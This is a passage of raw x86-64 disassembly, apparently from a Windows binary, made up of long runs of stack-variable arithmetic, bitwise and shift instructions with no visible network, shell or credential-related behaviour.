mov qword [rsp + 0xcf88], rax
mov eax, dword [rsp + 0x6a00]
mov ecx, dword [rsp + 0x6a94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b74], eax
mov eax, dword [rsp + 0x6bb4]
mov rcx, qword [rsp + 0xc748]
mov qword [rsp + 0xcf90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6b68], eax
lea rax, [rsp + 0xc8c0]
mov qword [rsp + 0xcf98], rax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xcb78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
movsx eax, word [0x1402c74c8]
movsx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [0x1402c74d0], ax
lea rax, [rsp + 0x1620]
mov qword [rsp + 0xcfa0], rax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xcfb0], rax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0xc9c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcc60], rax
mov rax, qword [rsp + 0xc280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc900]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0e0], rax
movzx eax, byte [0x1402c74c6]
mov byte [0x1402c90c4], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0xf6], al
movzx eax, word [rsp + 0x172c]
movzx ecx, word [rsp + 0x1670]
sub eax, ecx
mov rcx, qword [rsp + 0xc680]
mov word [rcx], ax
lea rax, [rsp + 0x1758]
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc908]
mov byte [rcx], al
mov rax, qword [rsp + 0xc218]
mov qword [rsp + 0xcfc0], rax
mov rax, qword [rsp + 0xcf38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcea0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov dword [rsp + 0x6bcc], eax
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
cdq
mov ecx, 0xbd6
idiv ecx
mov word [0x1402c74bc], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0xc658]
movzx eax, word [rax]
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0xbef8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c749f]
shl eax, cl
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
movsx eax, word [rsp + 0x170c]
movsx ecx, word [rsp + 0x1544]
xor eax, ecx
mov word [rsp + 0x1774], ax
lea rax, [rsp + 0xc9c8]
mov qword [rsp + 0xcfc8], rax
mov rax, qword [rsp + 0xc118]
mov ecx, dword [rsp + 0x6a10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a84], eax
mov rax, qword [rsp + 0xbe28]
mov qword [rsp + 0xcfd0], rax
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xc5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b50], eax
mov rax, qword [0x1402c9200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15e0]
add eax, ecx
mov word [0x1402c7520], ax
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0xbe58]
mov byte [rcx], al
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0xf7], al
mov rax, qword [0x1402c91e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b4]
sub eax, ecx
mov word [rsp + 0x1774], ax
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xca40]
mov ecx, dword [rsp + 0x6ab8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b70], eax
mov rax, qword [rsp + 0xbd00]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9e0], rax
mov rax, qword [rsp + 0xc6e0]
mov rax, qword [rax]
mov qword [rsp + 0xcfe0], rax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xcad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69a0], eax
lea rax, [rsp + 0x15d8]
mov qword [0x1402c9358], rax
lea rax, [rsp + 0x75]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcec0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcbf0]
mov word [rcx], ax
movzx eax, byte [0x1402c74c2]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0xc238]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc050]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0xbf00]
mov qword [rsp + 0xcff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcff0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xbeb8]
mov qword [rsp + 0xcff8], rax
mov eax, dword [rsp + 0x6a14]
movzx ecx, al
mov eax, dword [rsp + 0x6ba8]
sar eax, cl
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
lea rax, [rsp + 0x6b3c]
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
cdq
mov ecx, 0xc3a
idiv ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402c91f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc590]
mov byte [rcx], al
lea rax, [rsp + 0x17d0]
mov qword [rsp + 0xd008], rax
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x163c]
and eax, ecx
mov rcx, qword [rsp + 0xcd00]
mov word [rcx], ax
lea rax, [rsp + 0x6a18]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xc7a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0xbe18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc338]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca88]
mov rax, qword [rax]
mov qword [rsp + 0xd018], rax
movzx eax, word [rsp + 0x176c]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcf88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c91e0]
mov byte [rcx], al
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xd020], rax
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1680], ax
movzx eax, byte [rsp + 0xc4]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x6b50]
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xc6e8]
mov rcx, qword [rsp + 0xbe00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov dword [rsp + 0x6bd4], eax
mov rax, qword [rsp + 0xcce8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc340]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xbc80]
movzx eax, word [rax]
mov word [rsp + 0x17dc], ax
lea rax, [rsp + 0x97]
mov qword [0x1402c9360], rax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xcf70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc5e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0xb8]
or eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xd028], rax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x6b6c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69c0], eax
mov rax, qword [rsp + 0xcbb8]
mov rax, qword [rax]
mov qword [rsp + 0xd030], rax
mov rax, qword [rsp + 0xbfe0]
movzx ecx, al
mov rax, qword [rsp + 0xbce8]
shl rax, cl
mov rcx, qword [rsp + 0xbd48]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b74]
mov ecx, dword [rsp + 0x6bc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [0x1402c9228]
mov qword [rsp + 0xd038], rax
lea rax, [rsp + 0xa8]
mov qword [0x1402c9368], rax
movzx eax, word [rsp + 0x1748]
imul eax, eax, 0xb2d
mov rcx, qword [rsp + 0xcd20]
mov word [rcx], ax
lea rax, [rsp + 0x9e]
mov qword [rsp + 0xd040], rax
movzx eax, byte [rsp + 0xbc]
movzx ecx, byte [rsp + 0xcc]
and eax, ecx
mov byte [rsp + 0x9e], al
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x6900]
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xba70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc88]
mov eax, dword [rax]
mov dword [rsp + 0x6bd8], eax
mov rax, qword [rsp + 0xc160]
mov rcx, qword [rsp + 0xc278]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc788], rax
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9308]
mov word [rcx], ax
movzx eax, word [rsp + 0x1560]
mov word [rsp + 0x17e0], ax
movsx eax, byte [rsp + 0x86]
mov rcx, qword [0x1402c9208]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0xc8a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x157c], ax
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xd050], rax
mov eax, dword [rsp + 0x69a0]
mov ecx, dword [rsp + 0x69e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6aa4], eax
lea rax, [rsp + 0xcdb8]
mov qword [rsp + 0xd058], rax
mov rax, qword [rsp + 0xc110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcee0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc168], rax
mov eax, dword [rsp + 0x6b64]
mov rcx, qword [rsp + 0xc3d0]
mov qword [rsp + 0xd060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd060]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc918]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c74d7], al
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0xf9], al
movsx eax, word [rsp + 0x17b8]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov word [rcx], ax
movzx eax, word [rsp + 0x1708]
mov word [rsp + 0x17e4], ax
mov rax, qword [rsp + 0xbc70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x84]
shl eax, cl
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0xce68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6adc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f8], eax
lea rax, [rsp + 0xc2e0]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0xcb78]
mov rcx, qword [rsp + 0xced8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd058]
mov qword [rcx], rax
lea rax, [rsp + 0x6b5c]
mov qword [rsp + 0xd070], rax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd050]
movzx eax, word [rax]
mov rcx, qword [0x1402c9110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x153c], ax
movsx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
lea rax, [rsp + 0x9f]
mov qword [rsp + 0xd078], rax
movsx eax, byte [rsp + 0x90]
mov rcx, qword [0x1402c9118]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc250]
mov byte [rcx], al
mov eax, dword [rsp + 0x6af0]
mov dword [rsp + 0x6bdc], eax
mov rax, qword [rsp + 0xcc40]
mov ecx, dword [rsp + 0x6a50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69c8], eax
lea rax, [rsp + 0xc2a8]
mov qword [rsp + 0xd080], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc788]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xc030]
movzx eax, word [rax]
mov word [0x1402c9370], ax
movzx eax, word [rsp + 0x1608]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov rcx, qword [rsp + 0xcb08]
mov word [rcx], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xd088], rax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov rcx, qword [rsp + 0xcd10]
mov byte [rcx], al
lea rax, [rsp + 0x167c]
mov qword [rsp + 0xd090], rax
mov rax, qword [rsp + 0xccc8]
mov ecx, dword [rsp + 0x6abc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xd058]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce70]
mov rax, qword [rax]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
shl eax, cl
mov rcx, qword [0x1402c92e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
mov word [rsp + 0x17e8], ax
movzx eax, word [rsp + 0x1648]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc800]
mov word [rcx], ax
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0xc490]
movzx eax, word [rax]
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [rsp + 0xc988]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a6c]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xc080]
mov rcx, qword [rsp + 0xccc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
lea rax, [rsp + 0xbb70]
mov qword [rsp + 0xd0a0], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x7e]
and eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov rcx, qword [0x1402c9150]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0xce48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16fc]
add eax, ecx
mov word [rsp + 0x15d8], ax
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0xc3c0]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c748a]
add eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xc668]
mov qword [rsp + 0xd0a8], rax
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0xccc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a74], eax
mov rax, qword [rsp + 0xc9a8]
mov qword [rsp + 0xd0b0], rax
lea rax, [rsp + 0x96]
mov qword [0x1402c9378], rax
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
or eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
mov word [rsp + 0x17f0], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x76], al
movsx eax, word [rsp + 0x1690]
movsx ecx, word [0x1402c74cc]
shl eax, cl
mov word [rsp + 0x1688], ax
mov rax, qword [rsp + 0xc9e0]
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [rsp + 0x6b84]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a1c], eax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0xca48]
mov rcx, qword [rsp + 0xcfe0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc800]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x162c], ax
lea rax, [rsp + 0xb3]
mov qword [0x1402c9380], rax
movzx eax, word [0x1402c74f4]
mov word [rsp + 0x17f4], ax
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0xc9e8]
movzx eax, byte [rax]
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0xc9b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a38], eax
mov rax, qword [rsp + 0xc370]
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xcad0]
mov rcx, qword [rsp + 0xc148]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc700], rax
movzx eax, word [rsp + 0x16e8]
mov word [rsp + 0x17f8], ax
movzx eax, word [rsp + 0x16d8]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402c9168], ax
movsx eax, byte [0x1402c74b2]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1618]
add eax, ecx
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0xc180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a10], eax
lea rax, [rsp + 0x69b8]
mov qword [rsp + 0xd0d0], rax
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xbf80]
mov rax, qword [rax]
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17a4]
shl eax, cl
mov word [0x1402c7524], ax
mov rax, qword [rsp + 0xca38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbfc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17bc], ax
lea rax, [rsp + 0xc550]
mov qword [rsp + 0xd0e0], rax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xcb38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b8c], eax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xcfc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69d4]
mov dword [rsp + 0x6be4], eax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c]
add eax, ecx
mov rcx, qword [rsp + 0xc190]
mov byte [rcx], al
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9138]
mov word [rcx], ax
mov rax, qword [rsp + 0xc088]
movzx eax, word [rax]
mov word [rsp + 0x17fc], ax
movsx eax, word [rsp + 0x1658]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17d8], ax
movzx eax, byte [0x1402c90a7]
mov byte [rsp + 0xfe], al
movzx eax, word [rsp + 0x159c]
movzx ecx, word [rsp + 0x1708]
sub eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
mov eax, dword [rsp + 0x6a70]
mov ecx, dword [rsp + 0x6ac0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf68]
mov qword [rsp + 0xd0e8], rax
mov rax, qword [rsp + 0xcc98]
mov rcx, qword [rsp + 0xc848]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
lea rax, [rsp + 0x6b2c]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9360]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74da], al
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
mov rax, qword [rsp + 0xd038]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc4c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc728]
movzx eax, word [rax]
mov word [rsp + 0x1800], ax
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc1]
or eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [rsp + 0xc7b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c90a0]
shl eax, cl
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b2c], eax
lea rax, [rsp + 0xc128]
mov qword [rsp + 0xd100], rax
mov rax, qword [rsp + 0xce88]
movsx eax, byte [rax]
cdq
mov ecx, 0x6b
idiv ecx
mov byte [reloc.SHELL32.dll_ILCombine], al
movzx eax, word [rsp + 0x179c]
movzx ecx, word [rsp + 0x15b0]
sar eax, cl
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov word [rsp + 0x1804], ax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc910]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbdd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca88]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
lea rax, [rsp + 0xca78]
mov qword [rsp + 0xd108], rax
mov rax, qword [rsp + 0xccf8]
mov ecx, dword [rsp + 0x6bbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ba4], eax
movzx eax, word [rsp + 0x15ac]
mov word [0x1402c9388], ax
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xd110], rax
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcad8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0xce40]
mov byte [rcx], al
lea rax, [rsp + 0x1668]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xc330]
mov rax, qword [rax]
mov qword [rsp + 0xd120], rax
mov rax, qword [rsp + 0xbe68]
mov rcx, qword [rsp + 0xca10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b88], eax
mov rax, qword [rsp + 0xcda8]
mov ecx, dword [rsp + 0x6a64]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xcd10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbe]
add eax, ecx
mov byte [0x1402c74a3], al
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
